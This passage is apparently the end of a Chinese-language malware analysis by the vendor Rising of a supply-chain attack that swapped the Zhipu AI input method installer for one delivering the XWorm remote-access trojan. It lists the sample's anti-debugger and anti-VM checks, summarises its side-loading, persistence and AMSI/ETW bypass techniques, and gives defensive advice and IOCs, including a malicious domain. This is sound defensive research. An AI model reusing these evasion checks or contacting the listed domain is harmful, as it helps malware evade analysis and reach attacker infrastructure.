重启后门程序 |
pong |
发送心跳回包 |
相关技术特点
检测调试器和虚拟机
- 调用
ZwQuerySystemInformation获取系统加载的内核模块列表,检测是否存在以下模块:
| 模块名称 |
|---|
| fengyue.sys |
| FRDTSC.SYS |
| extrem.sys |
| Syser.sys |
| HanOlly.sys |
| iceext.sys |
| ntice.sys |
| FileMonitor.sys |
| Filem |
| REGMON |
| regsys |
| sysregm |
| PROCMON |
| Kernel Detective |
| CisUtMonitor |
| Revoflt |
- 调用函数
NtSetInformationThread设置当前线程上下文ThreadHideFromDebugger的值为0x11。 - 调用函数
ZwQueryInformationProcess查询当前进程ProcessDebugPort信息,若存在则表示当前进程处于调试状态。 - 调用函数
ZwQueryInformationProcess查询当前进程ProcessDebugObjectHandle信息,若存在则表示当前进程处于调试状态。 - 调用函数
FindWindowA查找以下窗口:
| 窗口类名 | 窗口标题 |
|---|---|
| "OLLYDBG" | NULL |
| "GBDYLLO" | NULL |
| "pediy06" | NULL |
| "FilemonClass" | NULL |
| 0 | "File Monitor – Sysinternals: www.sysinternals.com" |
| "PROCMON_WINDOW_CLASS" | NULL |
| 0 | "Process Monitor – Sysinternals: www.sysinternals.com" |
| "RegmonClass" | NULL |
| "Registry Monitor – Sysinternals: www.sysinternals.com" | NULL |
| "18467-41" | NULL |
- 调用函数
GetModuleHandleA检查进程中是否存在模块cmdvrt32.dll和SbieDll.dll。 - 检查注册表项
SYSTEM\\CurrentControlSet\\Control的SystemStartOptions是否存在可疑字符串。 - 检测是否存在
SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\\Scenarios\\HypervisorEnforcedCodeIntegrity。 - 检查注册表项
SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000中DriverDesc的值是否存在可疑字符串。 - 检查注册表项
Hardware\\description\\System中的,SystemBiosVersion和VideoBiosVersion的值是否存在可疑字符串。 - 检查是否存在注册表项
HARDWARE\\ACPI\\DSDT\\VBOX__。 - 调用函数
GetSystemFirmwareTable获取系统固件表,检查其中是否存在可疑字符串(如:VMware等)。
总结
本次事件是针对智谱AI输入法的供应链攻击,攻击者替换官网下载链接指向的安装包,植入包含恶意 DLL 的恶意程序。该恶意程序具有以下显著特征:
- 隐蔽性强:借助合法搜狗拼音输入法组件侧加载恶意DLL,同时启动正常的智谱AI输入法安装程序掩盖恶意行为;
- 反分析能力突出:恶意DLL采用加壳保护,代码中包含多层调试器、虚拟机检测逻辑,通过时间差校验等方式规避沙箱分析;
- 持久化手段多样:通过注册表启动项、计划任务(区分普通 / 最高权限)等方式实现恶意程序的持久化运行;
- 对抗安全机制:通过补丁
AMSI、ETW等安全相关函数,绕过系统安全检测; - 载荷加载复杂:通过多层
shellcode解码、内存加载内嵌PE的方式执行最终恶意载荷(VB.NET编写的XWorm远控木马),增加溯源和分析难度。
安全建议
- 验证文件完整性:从官方渠道下载软件后,核对文件哈希值、数字签名,拒绝运行无有效签名或哈希不符的程序;
- 开启安全软件防护:启用终端安全软件的实时防护功能,及时更新病毒库,对下载文件、运行程序进行扫描;
- 监控异常进程与文件:关注
%LOCALAPPDATA%目录下的异常文件夹(如SougouIME)、可疑DLL文件(version.dll、rpc.dll)及计划任务创建行为; - 限制权限运行程序:避免使用管理员权限日常运行软件,降低恶意程序提权和持久化风险;
- 及时更新系统与软件:修补系统和第三方软件漏洞,减少攻击者利用漏洞执行恶意代码的可能。
瑞星目前已经可以检出此次攻击事件的相关样本

沦陷信标(IOC)
-
MD5
0B7B91448F7D5884804B210D9EBF7DFD E0145C0C1439528C3012BE7D0F63409D 987E51176788C759EB930ADE655CFB07 -
Domain
microsoft.timefixinstaller.online -
瑞星病毒名
Trojan.Agent!1.13FA8 Trojan.Agent!1.13FA9